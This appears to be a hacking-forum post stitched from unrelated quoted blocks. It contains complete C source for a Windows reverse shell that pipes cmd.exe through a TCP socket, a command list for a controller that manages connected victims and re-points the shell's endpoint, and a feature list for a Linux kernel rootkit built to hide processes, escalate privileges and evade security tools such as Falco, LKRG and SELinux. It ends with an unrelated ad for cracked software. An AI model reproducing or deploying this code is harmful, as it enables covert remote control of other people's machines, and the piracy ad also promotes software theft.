Quote:#define WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
// Need to link with Ws2_32.lib
#pragma comment(lib, "ws2_32.lib")
WSADATA wsaData;
SOCKET winSock;
struct sockaddr_in sockAddr;
int port = 8081;
char* ip = "127.0.0.1";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
int main(int argc, char* argv[]) {
    int start = WSAStartup(MAKEWORD(2, 2), &wsaData);
    winSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    sockAddr.sin_family = AF_INET;
    sockAddr.sin_port = htons(port);
    sockAddr.sin_addr.s_addr = inet_addr(ip);
    WSAConnect(winSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr), NULL, NULL, NULL, NULL);
    memset(&sinfo, 0, sizeof(sinfo));
    sinfo.cb = sizeof(sinfo);
    sinfo.dwFlags = STARTF_USESTDHANDLES;
    sinfo.hStdError = (HANDLE)winSock;
    sinfo.hStdInput = (HANDLE)winSock;
    sinfo.hStdOutput = (HANDLE)winSock;
    //LoadLibraryA("DllInspector.dll");
    CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
    return 0;
}

Quote:Commands:
display/list - Show all connected clients
    select <endpoint>    - Select a client
    interact/shell          - Enter interactive shell with selected client
    server
            start <port>    - Start a new server
    patch
network <ip> <port> [OPT]<output name>      - Patch the reverse shell with a new endpoint to connect
    exit                                          - Exit the program

Quote:<local port> <remote ip> <remote port>

Quote:Singularity is a sophisticated rootkit that operates at the kernel level, providing:

• Process Hiding: Make any process completely invisible to the system
  
• File & Directory Hiding: Conceal files using pattern matching
  
• Network Stealth: Hide TCP/UDP connections, ports, and conntrack entries
  
• Privilege Escalation: Signal-based instant root access
  
• Log Sanitization: Filter kernel logs and system journals in real-time
  
• Self-Hiding: Remove itself from module lists and system monitoring
  
• Remote Access: ICMP-triggered reverse shell with automatic hiding
  
• Anti-Detection: Evade eBPF-based runtime security tools (Falco, Tracee), bypass Linux Kernel Runtime Guard (LKRG), and prevent io_uring bypass attempts
  
• Audit Evasion: Drop audit messages for hidden processes at netlink level with statistics tracking and socket inode filtering
  
• Memory Forensics Evasion: Filter /proc/kcore, /proc/kallsyms, /proc/vmallocinfo
  
• Cgroup Filtering: Filter hidden PIDs from cgroup.procs
  
• Syslog Evasion: Hook do_syslog to filter klogctl() kernel ring buffer access
  
• Debugfs Evasion: Filter output of tools like debugfs that read raw block devices
  
• Conntrack Filtering: Hide connections from /proc/net/nf_conntrack and netlink SOCK_DIAG/NETFILTER queries
  
• SELinux Evasion: Automatic SELinux enforcing mode bypass on ICMP trigger
  
• LKRG Bypass: Evade Linux Kernel Runtime Guard detection mechanisms
  
• eBPF Security Bypass: Hide processes from eBPF-based runtime security tools (Falco, Tracee)
  

• Cracked Cleaned file
  
• All apps included
  
• Offline activation
  
• All plugins
  
• Lightweight installer